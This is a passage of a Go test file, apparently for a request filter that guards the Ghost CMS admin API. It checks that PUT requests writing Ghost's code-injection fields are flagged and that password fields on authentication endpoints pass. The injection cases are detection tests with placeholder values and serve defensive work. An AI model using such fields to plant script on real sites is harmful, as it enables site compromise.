{ghostPosts, tagCode},
|
|
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
|
|
} {
|
|
r := request{http.MethodPut, refused.target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, readingBodies(t), r, refused.body)
|
|
if got.Score < ghostThreshold {
|
|
t.Errorf("PUT %s %s let through: %+v", refused.target,
|
|
refused.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestGhostPasswordsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
// Ghost's password fields, each sent to the path that takes it. A dot
|
|
// nests a field, as Ghost nests it in an array.
|
|
fields := []passwordFields{
|
|
{ghostSession, jsonBody, []string{passwordKey}},
|
|
{
|
|
"/ghost/api/admin/authentication/setup/",
|
|
jsonBody,
|
|
[]string{"setup.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/invitation/", jsonBody,
|
|
[]string{"invitation.0.password"},
|
|
},
|
|
{
|
|
"/ghost/api/admin/authentication/password_reset/", jsonBody,
|
|
[]string{
|
|
"password_reset.0.newPassword",
|
|
"password_reset.0.ne2Password",
|
|
},
|
|
},
|
|
{
|
|
"/ghost/api/admin/users/password/", jsonBody,
|
|
[]string{
|
|
"password.0.oldPassword", "password.0.newPassword",
|
|
"password.0.ne2Password",
|
|
},
|
|
},
|
|
}
|
|
|
|
wantPasswordFieldsPass(t, fields)
|
|
}
|